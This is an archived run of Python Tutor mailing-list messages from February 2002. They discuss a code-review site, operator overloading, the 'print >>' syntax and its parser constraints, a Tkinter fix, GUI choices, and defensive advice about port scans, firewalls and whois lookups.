Sibley online: | Check out: Henry Sibley HS | http://www.isd197.org | http://www.zope.com W. St. Paul, MN | | http://slashdot.org wilson@visi.com | | http://linux.com From dyoo@hkn.eecs.berkeley.edu Wed Feb 27 06:50:46 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Tue, 26 Feb 2002 22:50:46 -0800 (PST) Subject: [Tutor] Website for Code Review In-Reply-To: Message-ID: On Tue, 26 Feb 2002, Danny Yoo wrote: > On Tue, 26 Feb 2002, Nicole Seitz wrote: > > > At 01:00 26.02.2002 -0700, you wrote: > > >On the main list/newsgroup there was an inquiry from Ben Jacobs about > > >the existence of a web site where people could post Python code to be > > >reviewed by other programmers. I replied privately to tell him about > > >the Tutor list since that kind of thing does happen here sometimes, but > > >I think having a dedicated web site for code review would be a great > > >companion to Tutor. Is anybody willing to take this on? > > > > Ok, let's do this. > > http://ns.decrem.com:8080/ChalkBoard > > I think we'll have this as a temporary measure while we figure out what we > really want to do. But at least we can use this so that people can > quickly post up code for others to look at. I think I spoke too soon; this is down at the moment while I'm debugging things. Sorry! From dyoo@hkn.eecs.berkeley.edu Wed Feb 27 07:50:31 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Tue, 26 Feb 2002 23:50:31 -0800 (PST) Subject: [Tutor] Website for Code Review [Python ChalkBoard] In-Reply-To: Message-ID: On Tue, 26 Feb 2002, Danny Yoo wrote: > > > >On the main list/newsgroup there was an inquiry from Ben Jacobs about > > > >the existence of a web site where people could post Python code to be > > > >reviewed by other programmers. I replied privately to tell him about > > > >the Tutor list since that kind of thing does happen here sometimes, but > > > >I think having a dedicated web site for code review would be a great > > > >companion to Tutor. Is anybody willing to take this on? Ok, I did a little more tinkering on the ChalkBoard, ripped out all the inappropriate Slashdottish stuff, and tried streamlining the page. Does anyone want to try it out? http://www.decrem.com:8080/ChalkBoard To post, just click on the "post question or article" link. Hope this helps! From sheila@thinkspot.net Wed Feb 27 08:06:34 2002 From: sheila@thinkspot.net (Sheila King) Date: Wed, 27 Feb 2002 00:06:34 -0800 Subject: [Tutor] Website for Code Review [Python ChalkBoard] In-Reply-To: References: Message-ID: <4B0751750A@kserver.org> On Tue, 26 Feb 2002 23:50:31 -0800 (PST), Danny Yoo wrote about Re: [Tutor] Website for Code Review [Python ChalkBoard]: > Ok, I did a little more tinkering on the ChalkBoard, ripped out all the > inappropriate Slashdottish stuff, and tried streamlining the page. Does > anyone want to try it out? > > http://www.decrem.com:8080/ChalkBoard > > To post, just click on the "post question or article" link. It's asking me for authorization when I try to post an article. Who am I? What is my password? -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From dyoo@hkn.eecs.berkeley.edu Wed Feb 27 08:21:30 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Wed, 27 Feb 2002 00:21:30 -0800 (PST) Subject: [Tutor] Website for Code Review [Python ChalkBoard] In-Reply-To: <4B0751750A@kserver.org> Message-ID: On Wed, 27 Feb 2002, Sheila King wrote: > On Tue, 26 Feb 2002 23:50:31 -0800 (PST), Danny Yoo > wrote about Re: [Tutor] Website for Code > Review [Python ChalkBoard]: > > > Ok, I did a little more tinkering on the ChalkBoard, ripped out all the > > inappropriate Slashdottish stuff, and tried streamlining the page. Does > > anyone want to try it out? > > > > http://www.decrem.com:8080/ChalkBoard > > > > To post, just click on the "post question or article" link. > > It's asking me for authorization when I try to post an article. Can you try again? I forgot to allow anonymous posting. Doh! *grin* From pydan@danshafer.com Wed Feb 27 08:42:54 2002 From: pydan@danshafer.com (Dan Shafer) Date: Wed, 27 Feb 2002 00:42:54 -0800 Subject: [Tutor] Operator Overloading Importance In-Reply-To: References: Message-ID: How important is it to understand how to do operator overloading in your early Python experience? I've written code -- though not horribly complex stuff for the most part -- in a number of languages which allowed operator overloading and never used it. Yet "Learning Python" makes a pretty big issue out of it in the chapter on objects, making it seem even more important than a good understanding of how objects are created and managed (which makes me suspicious to begin with). So should I take the time to learn this now or can it wait? Or is it ever really useful? -- Dan Shafer, Personal Creativity Trainer and Consultant Trained Hartman Value Profile Analyst http://www.danshafer.com/valueprofile.html From scarblac@pino.selwerd.nl Wed Feb 27 08:55:05 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Wed, 27 Feb 2002 09:55:05 +0100 Subject: [Tutor] Operator Overloading Importance In-Reply-To: ; from pydan@danshafer.com on Wed, Feb 27, 2002 at 12:42:54AM -0800 References: Message-ID: <20020227095505.A30620@pino.selwerd.nl> On 0, Dan Shafer wrote: > How important is it to understand how to do operator overloading in > your early Python experience? I've written code -- though not > horribly complex stuff for the most part -- in a number of languages > which allowed operator overloading and never used it. I don't think it's very important. I've never used it yet. > Yet "Learning Python" makes a pretty big issue out of it in the > chapter on objects, making it seem even more important than a good > understanding of how objects are created and managed (which makes me > suspicious to begin with). > > So should I take the time to learn this now or can it wait? Or is it > ever really useful? If you have objects on which these operations are natural, data that you will want to add routinely, etc, then I guess it's useful. It's useful to know that it is possible. But if you don't think you'll need it, you can skip it without trouble. Also, some other special methods like __str__() are often useful. -- Remco Gerlich From scarblac@pino.selwerd.nl Wed Feb 27 09:06:59 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Wed, 27 Feb 2002 10:06:59 +0100 Subject: [Tutor] Operator Overloading Importance In-Reply-To: <20020227095505.A30620@pino.selwerd.nl>; from scarblac@pino.selwerd.nl on Wed, Feb 27, 2002 at 09:55:05AM +0100 References: <20020227095505.A30620@pino.selwerd.nl> Message-ID: <20020227100659.A30678@pino.selwerd.nl> On 0, Remco Gerlich wrote: > I don't think it's very important. I've never used it yet. (snip) > If you have objects on which these operations are natural, data that you > will want to add routinely, etc, then I guess it's useful. It's useful to > know that it is possible. That said, I just decided that the code I was currently staring at, that combines two representation instances into a new one (complicated vectors of word count statistics from a text) would be a lot neater if I called the method __add__ so I could just write r = r1+r2 :-) -- Remco Gerlich From scot@possum.in-berlin.de Wed Feb 27 09:23:40 2002 From: scot@possum.in-berlin.de (Scot Stevenson) Date: Wed, 27 Feb 2002 10:23:40 +0100 Subject: [Tutor] Problems with genetically engineering the Print Ogre In-Reply-To: <132109865093-BeMail@gormenghast> References: <132109865093-BeMail@gormenghast> Message-ID: <200202270930.g1R9UKS27462@possum.cozen.org> Hello there, I have been learning Python for about half a year now, and there are two parts of the language that feel "wrong" and do not have the instant, instantly logical syntax that makes the rest of the language unbelievably elegant: a) List comprehensions (aka "Ugly Stuff in Square Brackets") b) The extrended print statement (aka "The Print Ogre") Neither "[ for in if ]" nor "print >> , " are intuitive in the way that "if :" or "for in :" are. They are, in fact, terribly confusing if Python is your first language. Both create ugly spots of strange characters in code listings, and I think both should be dragged outside and shot, or at least genetically engineered to something that doesn't look like it has a "Made by Frankenstein" stamp on the bottom. My first reaction to list comprehensions was: How the hell did /that/ get past the beauty checker? However, to finally get to the point of this mail, some of the saner ideas in the PEP to the Print Ogre were vetoed by the BDFL himself. From PEP 214: ===================================================== The proposal has been challenged on the newsgroup. One series of challenges doesn't like '>>' and would rather see some other symbol. Challenge: Why not one of these? print in stderr items,.... print + stderr items,....... print[stderr] items,..... print to stderr items,..... Response: If we want to use a special symbol (print expression), the Python parser requires that it is not already a symbol that can start an expression -- otherwise it can't decide which form of print statement is used. (The Python parser is a simple LL(1) or recursive descent parser.) ======================================================= This might be perfectly clear to Real Computer Scientists, but as one of those people who is slightly more fluent in Mandarin than Recursive Descent Parsing, I don't see why we can't at least change the Print Ogre into something clean and instantly understandable like "print to , ", which would be the sort of syntax I would expect (actually, "print to " would be even better, but sticking stuff at the end would make this look like a German verb pattern; "print to : " would be good, too, but break the rule about indentation after ":", which I understand). Is there any chance one of the other Real Computer Scientists on this list could explain what the problem is? Y, Scot From scarblac@pino.selwerd.nl Wed Feb 27 09:44:33 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Wed, 27 Feb 2002 10:44:33 +0100 Subject: [Tutor] Problems with genetically engineering the Print Ogre In-Reply-To: <200202270930.g1R9UKS27462@possum.cozen.org>; from scot@possum.in-berlin.de on Wed, Feb 27, 2002 at 10:23:40AM +0100 References: <132109865093-BeMail@gormenghast> <200202270930.g1R9UKS27462@possum.cozen.org> Message-ID: <20020227104433.A30838@pino.selwerd.nl> On 0, Scot Stevenson wrote: > Hello there, > > I have been learning Python for about half a year now, and there are two > parts of the language that feel "wrong" and do not have the instant, > instantly logical syntax that makes the rest of the language unbelievably > elegant: > > a) List comprehensions (aka "Ugly Stuff in Square Brackets") > b) The extrended print statement (aka "The Print Ogre") > > Neither "[ for in if ]" nor "print >> , > " are intuitive in the way that "if :" or "for in > :" are. They are, in fact, terribly confusing if Python is your first > language. Both create ugly spots of strange characters in code listings, > and I think both should be dragged outside and shot, or at least > genetically engineered to something that doesn't look like it has a "Made > by Frankenstein" stamp on the bottom. My first reaction to list > comprehensions was: How the hell did /that/ get past the beauty checker? Personally I think list comprehensions are beautiful. It helps if you are used to similar notation in math. > > However, to finally get to the point of this mail, some of the saner ideas > in the PEP to the Print Ogre were vetoed by the BDFL himself. From PEP 214: > > ===================================================== > > The proposal has been challenged on the newsgroup. One series of > challenges doesn't like '>>' and would rather see some other > symbol. > > Challenge: Why not one of these? > > print in stderr items,.... > print + stderr items,....... > print[stderr] items,..... > print to stderr items,..... > > Response: If we want to use a special symbol (print > expression), the Python parser requires that it is not already a > symbol that can start an expression -- otherwise it can't decide > which form of print statement is used. (The Python parser is a > simple LL(1) or recursive descent parser.) > > ======================================================= > > This might be perfectly clear to Real Computer Scientists, but as one of > those people who is slightly more fluent in Mandarin than Recursive > Descent Parsing, I don't see why we can't at least change the Print Ogre > into something clean and instantly understandable like "print to , > ", which would be the sort of syntax I would expect (actually, > "print to " would be even better, but sticking stuff at the > end would make this look like a German verb pattern; "print to : > " would be good, too, but break the rule about indentation after > ":", which I understand). > > Is there any chance one of the other Real Computer Scientists on this list > could explain what the problem is? The problem is that 'to' could also be the name of a variable. Now a human could see the difference between, for instance: print to, from print to f: "Whee!" And know that 'to' in the first is a variable, and part of the print in the second. But parsers receive tokens. It gets things like "print", "to", ",", "from" as its input. A LL(1) parser has a lookahead of 1. It gets to see the next token, and using that it has to decide what it is parsing. These parsers are conceptually very simple and quite fast, but of course a bit limited. So after the "print", the parser sees "to" as the next word. It has to decide whether that is a variable (actually, the start of an expression) or part of the print statement, and it can't. Something like "print + file, x" also doesn't work, since +file is perfectly normal if file is some variable -- + can start an expression. But in Python, no expression can start with >>, so it could be used. This is slightly simplistic, but should be enough. -- Remco Gerlich From wolf_binary@hotmail.com Wed Feb 27 14:37:30 2002 From: wolf_binary@hotmail.com (Cameron Stoner) Date: Wed, 27 Feb 2002 08:37:30 -0600 Subject: [Tutor] IP numbers Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_000B_01C1BF69.FE5D8E60 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable The reason I wanted to change my IP number was because I have this = problem with a cracker trying to get into my system and he knows my IP = address and I thought if I changed it he wouldn't know where I was = anymore, but that's just my newbie thinking. I have Norton Internet Security which has stopped him so far, but I = wanted to go a step further and not allow him to find me. I don't know = why this person is comming after me. Cameron ------=_NextPart_000_000B_01C1BF69.FE5D8E60 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
The reason I wanted to change my IP = number was=20 because I have this problem with a cracker trying to get into my system = and he=20 knows my IP address and I thought if I changed it he wouldn't know where = I was=20 anymore, but that's just my newbie thinking.
 
I have Norton Internet Security which = has stopped=20 him so far, but I wanted to go a step further and not allow him to find=20 me.  I don't know why this person is comming after me.
 
Cameron
 
------=_NextPart_000_000B_01C1BF69.FE5D8E60-- From scarblac@pino.selwerd.nl Wed Feb 27 15:00:55 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Wed, 27 Feb 2002 16:00:55 +0100 Subject: [Tutor] IP numbers In-Reply-To: ; from wolf_binary@hotmail.com on Wed, Feb 27, 2002 at 08:37:30AM -0600 References: Message-ID: <20020227160055.A32217@pino.selwerd.nl> On 0, Cameron Stoner wrote: > The reason I wanted to change my IP number was because I have this problem > with a cracker trying to get into my system and he knows my IP address and I > thought if I changed it he wouldn't know where I was anymore, but that's > just my newbie thinking. That's reasonable thinking. The problem is that in most cases, the rest of the Internet (like your ISP's computers) also won't be able to find you anymore, and you won't be able to receive anything :) > I have Norton Internet Security which has stopped him so far, but I wanted > to go a step further and not allow him to find me. I don't know why this > person is comming after me. How do you know it's a cracker and not something innocent? Secondly, if you know his IP, you should be able to find out who his ISP is and send a complaint there. This isn't a Python subject so this discussion shouldn't continue here for too long. -- Remco Gerlich From pythontutor@venix.com Wed Feb 27 15:55:11 2002 From: pythontutor@venix.com (Lloyd Kvam) Date: Wed, 27 Feb 2002 10:55:11 -0500 Subject: [Tutor] IP numbers References: <20020227160055.A32217@pino.selwerd.nl> Message-ID: <3C7D015F.5050900@venix.com> http://www.dns411.com/ Web-based WHOIS + NSLOOKUP by Name.Space This site will let you look up an IP address and determine the ISP responsible for that address. The name of the IP address block will be a link to the ISP identification information which will provide email addresses for abuse complaints. Since you've said nothing about system administration folks, I assume you are getting your IP address fromm an ISP. Your ISP should be willing to help with this! That's part of providing Internet Service! (It looks like you are sending your email from a Sprint dialup IP address. This is the listed phone number and email contact: Coordinator: Sprintlink (Sprint) (SPRINT-NOC-ARIN) NOC@SPRINT.NET 800-232-6895) Remco Gerlich wrote: > On 0, Cameron Stoner wrote: > >>The reason I wanted to change my IP number was because I have this problem >>with a cracker trying to get into my system and he knows my IP address and I >>thought if I changed it he wouldn't know where I was anymore, but that's >>just my newbie thinking. >> > > That's reasonable thinking. The problem is that in most cases, the rest of > the Internet (like your ISP's computers) also won't be able to find you > anymore, and you won't be able to receive anything :) > > >>I have Norton Internet Security which has stopped him so far, but I wanted >>to go a step further and not allow him to find me. I don't know why this >>person is comming after me. >> > > How do you know it's a cracker and not something innocent? Secondly, if you > know his IP, you should be able to find out who his ISP is and send a > complaint there. > > This isn't a Python subject so this discussion shouldn't continue here for > too long. > > -- Lloyd Kvam Venix Corp. 1 Court Street, Suite 378 Lebanon, NH 03766-1358 voice: 603-443-6155 fax: 801-459-9582 From dsh8290@rit.edu Wed Feb 27 16:38:12 2002 From: dsh8290@rit.edu (dman) Date: Wed, 27 Feb 2002 11:38:12 -0500 Subject: [Tutor] IP numbers In-Reply-To: References: Message-ID: <20020227163812.GA30746@dman.ddts.net> On Wed, Feb 27, 2002 at 08:37:30AM -0600, Cameron Stoner wrote: | The reason I wanted to change my IP number was because I have this | problem with a cracker trying to get into my system and he knows my | IP address and I thought if I changed it he wouldn't know where I | was anymore, but that's just my newbie thinking. In what ways is he trying to get into your system and how do you know this? Do you have any "services" running on your machine? If nothing is listening on any ports, then there is no way to get in. (or if something is blocking all ports at the TCP/UDP or IP level) | I have Norton Internet Security which has stopped him so far, but I | wanted to go a step further and not allow him to find me. Get a Linux or *BSD system to act as a firewall. Then the only stuff that can get to your windows machine is responses to requests that originated from the windows machine. | I don't know why this person is comming after me. Most likely because he can. Some people are un-nice like that. -D -- For society, it's probably a good thing that engineers value function over appearance. For example, you wouldn't want engineers to build nuclear power plants that only _look_ like they would keep all the radiation inside. (Scott Adams - The Dilbert principle) From Blake.Garretson@dana.com Wed Feb 27 17:28:08 2002 From: Blake.Garretson@dana.com (Blake.Garretson@dana.com) Date: Wed, 27 Feb 2002 12:28:08 -0500 Subject: [Tutor] Updating Label widgets in Tkinter Message-ID: >From: Tim Wilson >Subject: [Tutor] Updating Label widgets in Tkinter > >I'm working through a number of the Tkinter tutorials and John Grayson's >book "Python and Tkinter Programming," but I continue to be stymied by >the problem of updating the text of a label widget based on some >calculation that's bound to a button. I'm including some code that draws >a very simple screen that presents an entry widget. The user is supposed >to enter a number, click calculate, and be presented with the square >root of the number they typed. I've tried a bunch of things at this >point, but everything's starting to blur. Can anyone point me in the >right direction? You are almost there. Instead of assigning the text using the "text" parameter, use the textvariable parameter and create another StringVar(). See the commented code below for the corrections. The other thing I changed is how you were calling self.calc. The callbacks provided with widgets don't let you pass variables to the functions as easily as a normal function call. You have to either use lambdas, or you can make the variables accesible everywhere in the class by naming them self.whatever. -Blake Garretson ### from Tkinter import * from math import sqrt class Calculator(Frame): def __init__(self): """Create an instance of a very simple calculator.""" Frame.__init__(self) self.pack(expand=YES, fill=BOTH) self.master.title('Square Root Calculator') self.master.iconname('Sqrt') fInput = Frame(self) fInput.pack() Label(fInput, text='x = ').pack(side=LEFT) self.number = StringVar() # Here I made the variable more accesible Entry(fInput, textvariable=self.number).pack(side=LEFT) fOutput = Frame(self) fOutput.pack() fOutput.pack(padx=5, pady=5) self.result_var = StringVar() # This is where I create the StringVar that will define the text self.result_var.set('Waiting for a number...') result = Label(fOutput, textvariable=self.result_var).pack(pady=10) buttons = Frame(self) buttons.pack(padx=5, pady=5) Button(buttons, text='Calculate', command=self.calc).pack(side=LEFT, padx=3) # Note the change in the callback Button(buttons, text='Quit', command=self.quit).pack(side=LEFT, padx=3) def calc(self): self.result_var.set("The square root of %s is %s" % (self.number.get(),sqrt(float(self.number.get()))) ) Calculator().mainloop() From urnerk@qwest.net Wed Feb 27 17:32:25 2002 From: urnerk@qwest.net (Kirby Urner) Date: Wed, 27 Feb 2002 09:32:25 -0800 Subject: [Tutor] IP numbers In-Reply-To: Message-ID: <4.2.0.58.20020227092719.00d04c10@pop3.norton.antivirus> > >I have Norton Internet Security which has stopped him so far, but I wanted >to go >a step further and not allow him to find me. I don't know why this person >is comming >after me. > >Cameron > Note: I don't know if this is your situation, but some people who get a firewall for the first time (either hardware, or more likely a software product, like ZoneAlarm or a Norton thing), and have it log port scans (attempts to find security holes), are alarmed by the number of such attempts. This is especially true if you computer is "always on" (the Internet that is, e.g. when you have DSL or a cable modem). What you will find is that cyberspace if full of this background noise of port scanning. People are running these bots to look for holes. There aren't necessarily people actively paying much attention -- they look over the results later. So if what you're seeing are just random reports of being scanned, even by the same IP-domain each time, don't think you have to run off and change your IP number. It'll happen with the new number too, as a lot of the scanning bots just check huge ranges of possible numbers. And don't take it too personally. Think of mosquitos in the forest, trying to find some blood to suck. Carry repellant, zip up your tent, but if you want to be in the forest at all, you're going to have to put up with pests. Kirby From SWidney@ci.las-vegas.nv.us Wed Feb 27 17:36:41 2002 From: SWidney@ci.las-vegas.nv.us (Scott Widney) Date: Wed, 27 Feb 2002 09:36:41 -0800 Subject: [Tutor] IP numbers Message-ID: > From: dman > If you pick the first one (you probably have), then try running > 'winipcfg' and releasing, then renewing, the lease. (that only works > with the 95/98/me family, don't know where it is in 2k) On NT4/2000, it's 'ipconfig /release' and 'ipconfig /renew' From SWidney@ci.las-vegas.nv.us Wed Feb 27 17:54:01 2002 From: SWidney@ci.las-vegas.nv.us (Scott Widney) Date: Wed, 27 Feb 2002 09:54:01 -0800 Subject: [Tutor] IP numbers Message-ID: > From: Kirby Urner > I don't know if this is your situation, but some people > who get a firewall for the first time (either hardware, > or more likely a software product, like ZoneAlarm or > a Norton thing), and have it log port scans (attempts > to find security holes), are alarmed by the number of > such attempts. This is especially true if you computer > is "always on" (the Internet that is, e.g. when you have > DSL or a cable modem). > > What you will find is that cyberspace if full of this > background noise of port scanning. People are running > these bots to look for holes. There aren't necessarily > people actively paying much attention -- they look over > the results later. > > So if what you're seeing are just random reports of > being scanned, even by the same IP-domain each time, > don't think you have to run off and change your IP > number. It'll happen with the new number too, as a > lot of the scanning bots just check huge ranges of > possible numbers. > > And don't take it too personally. Think of mosquitos > in the forest, trying to find some blood to suck. > Carry repellant, zip up your tent, but if you want > to be in the forest at all, you're going to have to > put up with pests. > > Kirby My wife has her home PC on all day (on a cable modem) and Zone Alarm logs probably 200 port scans a day -- many from within the same subnet. Like Kirby said treat it as a fact of life. Take suitable precautions, but don't be paranoid. That's the kind of world we live in. > From: dman > Get a Linux or *BSD system to act as a firewall. Then the only stuff > that can get to your windows machine is responses to requests that > originated from the windows machine. Another alternative is a self-contained router. I've seen a 4-port from LinkSys that has a firewall for a couple-hundred dollars. Has a nice browser-based interface, etc. Scott From kojo@hal-pc.org Wed Feb 27 20:19:38 2002 From: kojo@hal-pc.org (Kojo Idrissa) Date: Wed, 27 Feb 2002 14:19:38 -0600 Subject: [Tutor] IP numbers and Python In-Reply-To: Message-ID: On Wed, 27 Feb 2002 09:54:01 -0800 >Another alternative is a self-contained router. I've seen >a 4-port from >LinkSys that has a firewall for a couple-hundred dollars. >Has a nice >browser-based interface, etc. I saw one of these at my local MicroCenter. $99 for a four port-er. I'm in the process of building a home network and I considered getting one to share my DSL with the network. Now, (to bring this back on topic) what would be interesting would be a Python script that parsed your firewall log files for the IPs (and/or any other info you wanted), then used the DNS lookup site Llyod (I think) mentioned to get some idea of where the scans are coming from. You could even get fancy and have it create a graph of some sort...percentage of scans/attacks from various addresses or address block owners or ISPs. You could even keep track of the information over time, to see what trends develop. I'm pretty sure all the functionality for this exists in various Python modules. Hmmm...I just might try that myself once I get my home network up and running. Sounds like a good project for someone wanting to get into Networking. (That would be me...) Don't you love it when a seemingly off-topic post gives birth to new ideas? :-) From porterh@yahoo.com Wed Feb 27 23:10:06 2002 From: porterh@yahoo.com (Henry Porter) Date: Wed, 27 Feb 2002 17:10:06 -0600 (CST) Subject: [Tutor] gui questions Message-ID: I'm just starting to learn python and I have an idea for a program I'd like to write. I want to use some sort of gui. Would it be better for me to start out using curses or tkinter? I'd like to learn both eventually, so I'm just wondering which would be easier to use. Would wxpython be a choice also, or is it very much harder? Also, should I start writing my program for the gui from the start or write the basic functionality and a simpler interface then add the gui part later? Thanks for any tips, Henry From scot@possum.in-berlin.de Wed Feb 27 22:25:32 2002 From: scot@possum.in-berlin.de (Scot Stevenson) Date: Wed, 27 Feb 2002 23:25:32 +0100 Subject: [Tutor] Problems with genetically engineering the Print Ogre In-Reply-To: <20020227104433.A30838@pino.selwerd.nl> References: <132109865093-BeMail@gormenghast> <200202270930.g1R9UKS27462@possum.cozen.org> <20020227104433.A30838@pino.selwerd.nl> Message-ID: <200202272232.g1RMWCS29210@possum.cozen.org> Hello Remco, > Personally I think list comprehensions are beautiful. It helps if you > are used to similar notation in math. I sure it does - but that does somewhat confirm my suspicion that this is a construct added for a very specialized group of users =8). > So after the "print", the parser sees "to" as the next word. It has to > decide whether that is a variable (actually, the start of an expression) > or part of the print statement, and it can't. Ah, that explains it - thank you! Since I came into the discussion late - did anybody ever suggest using a format like to print or, as not to use up "to" as a word, into print instead? Shouldn't this let the parser elves figure things out quite nicely, since "into" would have to be followed by a file-like thingy every time, and the print part would stay the same as it was before people started trying to put things in files? I know that this is not quite as intuitive as the other way around - nobody says "into that bucket, put the apples", but on the other hand, nobody goes around saying "for every apple in the bucket, peel it" either, and we've gotten use to it... Thanks again, Y, Scot From virketis@fas.harvard.edu Wed Feb 27 22:34:53 2002 From: virketis@fas.harvard.edu (Pijus Virketis) Date: Wed, 27 Feb 2002 17:34:53 -0500 Subject: [Tutor] Problems with genetically engineering the Print Ogre References: <132109865093-BeMail@gormenghast> <200202270930.g1R9UKS27462@possum.cozen.org> <20020227104433.A30838@pino.selwerd.nl> <200202272232.g1RMWCS29210@possum.cozen.org> Message-ID: <00d701c1bfde$f9965b30$18adf78c@virketis2> > I know that this is not quite as intuitive as the other way around - > nobody says "into that bucket, put the apples", but on the other hand, > nobody goes around saying "for every apple in the bucket, peel it" either, > and we've gotten use to it... Alternatively, why not add a new keyword to Python, called "to"? I think we could live with one less word to call our variables with. It could be used in all kinds of "directional" situations, just as "in" is. Cheers, Pijus From boud@valdyas.org Wed Feb 27 22:36:35 2002 From: boud@valdyas.org (Boudewijn Rempt) Date: Wed, 27 Feb 2002 23:36:35 +0100 (CET) Subject: [Tutor] gui questions In-Reply-To: Message-ID: On Wed, 27 Feb 2002, Henry Porter wrote: > I'm just starting to learn python and I have an idea for a program I'd > like to write. I want to use some sort of gui. Would it be better for me > to start out using curses or tkinter? I'd like to learn both eventually, > so I'm just wondering which would be easier to use. Would wxpython be a > choice also, or is it very much harder? > I wouldn't call curses a gui -- so that leaves tkInter. Of course, my biased self would like to opine that PyQt would be a better choice, but I'll leave you to form your own opinion of the matter. > Also, should I start writing my program for the gui from the start or > write the basic functionality and a simpler interface then add the gui > part later? > First the unittests, then the functionality, then the gui. That's the way to go, Boudewijn Rempt | http://www.valdyas.org From pythontutor@venix.com Wed Feb 27 23:09:16 2002 From: pythontutor@venix.com (Lloyd Kvam) Date: Wed, 27 Feb 2002 18:09:16 -0500 Subject: [Tutor] IP numbers and Python References: Message-ID: <3C7D671C.4070404@venix.com> You will probably want to run whois directly on an IP address: whois 63.79.56.12@whois.arin.net (my IP address) : [whois.arin.net] UUNET Technologies, Inc. (NETBLK-UUNET63) UUNET63 63.64.0.0 - 63.127.255.255 Turnpike Technologie (NETBLK-UU-63-79-56) UU-63-79-5663.79.56.0 - 63.79.63.255 To single out one record, look it up with "!xxx", where xxx is the handle, shown in parenthesis following the name, which comes first. The ARIN Registration Services Host contains ONLY Internet Network Information: Networks, ASN's, and related POC's. Please use the whois server at rs.internic.net for DOMAIN related Information and whois.nic.mil for NIPRNET Information. Then you would follow up with: whois "!netblk-uu-63-79-56"@whois.arin.net and whois "!netblk-uunet63"@whois.arin.net whois is found on unix (and linux) systems. I do not know where to get it for Windows. That's why I used the web site in my earlier post. Besides ARIN which covers the Americas and more, there are registries: RIPE NCC (Europe) and APNIC (Asia / Pacific) with servers: @whois.ripe.net @whois.apnic.net Kojo Idrissa wrote: > On Wed, 27 Feb 2002 09:54:01 -0800 > >> Another alternative is a self-contained router. I've seen a 4-port from >> LinkSys that has a firewall for a couple-hundred dollars. Has a nice >> browser-based interface, etc. > > > I saw one of these at my local MicroCenter. $99 for a four port-er. > I'm in the process of building a home network and I considered getting > one to share my DSL with the network. > Now, (to bring this back on topic) what would be interesting would be a > Python script that parsed your firewall log files for the IPs (and/or > any other info you wanted), then used the DNS lookup site Llyod (I > think) mentioned to get some idea of where the scans are coming from. > You could even get fancy and have it create a graph of some > sort...percentage of scans/attacks from various addresses or address > block owners or ISPs. You could even keep track of the information over > time, to see what trends develop. I'm pretty sure all the functionality > for this exists in various Python modules. > Hmmm...I just might try that myself once I get my home network up and > running. Sounds like a good project for someone wanting to get into > Networking. (That would be me...) > > Don't you love it when a seemingly off-topic post gives birth to new ideas? > :-) > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > -- Lloyd Kvam Venix Corp. 1 Court Street, Suite 378 Lebanon, NH 03766-1358 voice: 603-443-6155 fax: 801-459-9582 From idiot1@netzero.net Wed Feb 27 23:35:49 2002 From: idiot1@netzero.net (kirk Bailey) Date: Wed, 27 Feb 2002 18:35:49 -0500 Subject: [Tutor] devlopment Message-ID: <3C7D6D55.BAAE7E87@netzero.net> OK, TinyList is devloping. Got rid of the imager, found a way to create text that looks the same but not an image, loads MUCH faster. Installed training wheels in TLpost.py, so without anything else but a alias and a subscriber file, it gives simple but functional footers- which can be over-ridden. Now offers the preface function majordomo offers with no hassle. Release 1.1.4 is almost ready to place on the web, I want to review all documents and update them. I am considering changing it to use a config file- only on item, the domain name, but this means only editing one file IF the python interpeter is in the most common location for it, still got to edit ALL of them if the interpeter is not in tha place. So, I am looking for comments or suggestions or requests. Please email me off list directly to this account: mailto:idiot1@netzero.net?subject=TinyList%20Features%20Comments thank you. -- end Respectfully, Kirk D Bailey +---------------------"Thou Art Free." -Eris----------------------+ | http://www.howlermonkey.net mailto:highprimate@howlermonkey.net | | http://www.tinylist.org +--------+ mailto:grumpy@tinylist.org | +------------------Thinking| NORMAL |Thinking---------------------+ +--------+ NOTE: By sending SPAM to this address you agree to pay me a service fee of $100 for the service of receiving, storing, examining, and deleting your piece of SPAM. I am a postmaster, and take a dim view of such. ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From dsh8290@rit.edu Thu Feb 28 01:17:23 2002 From: dsh8290@rit.edu (dman) Date: Wed, 27 Feb 2002 20:17:23 -0500 Subject: [Tutor] Problems with genetically engineering the Print Ogre In-Reply-To: <200202272232.g1RMWCS29210@possum.cozen.org> References: <132109865093-BeMail@gormenghast> <200202270930.g1R9UKS27462@possum.cozen.org> <20020227104433.A30838@pino.selwerd.nl> <200202272232.g1RMWCS29210@possum.cozen.org> Message-ID: <20020228011723.GA1826@dman.ddts.net> On Wed, Feb 27, 2002 at 11:25:32PM +0100, Scot Stevenson wrote: | Hello Remco, | | > Personally I think list comprehensions are beautiful. It helps if you | > are used to similar notation in math. | | I sure it does - but that does somewhat confirm my suspicion that this is | a construct added for a very specialized group of users =8). "Math" doesn't really denote a very specialized group of users. Much of programming involves math. Either basic arithmatic and algebra suffice for your programming needs, or you delve in to discrete math. Some parts of discrete math deal a lot with sets, sequences, and operations and relations pertaining to them. All Software Engineering majors at my school are required to take Discrete Math I and II. Once you get used to operating on lists of things, it is very natural and concise. If you don't like the syntax, use map and filter for a while, then try them again. | > So after the "print", the parser sees "to" as the next word. It has to | > decide whether that is a variable (actually, the start of an expression) | > or part of the print statement, and it can't. | | Ah, that explains it - thank you! | | Since I came into the discussion late - did anybody ever suggest using a | format like | | to print | | or, as not to use up "to" as a word, | | into print | | instead? Shouldn't this let the parser elves figure things out quite | nicely, since "into" would have to be followed by a file-like thingy every | time, Nope. The _parser_ has no idea what type of thing an identifier refers too. The parser only knows whether it found a keyword, operator, or identifier. -D -- The teaching of the wise is a fountain of life, turning a man from the snares of death. Proverbs 13:14 From 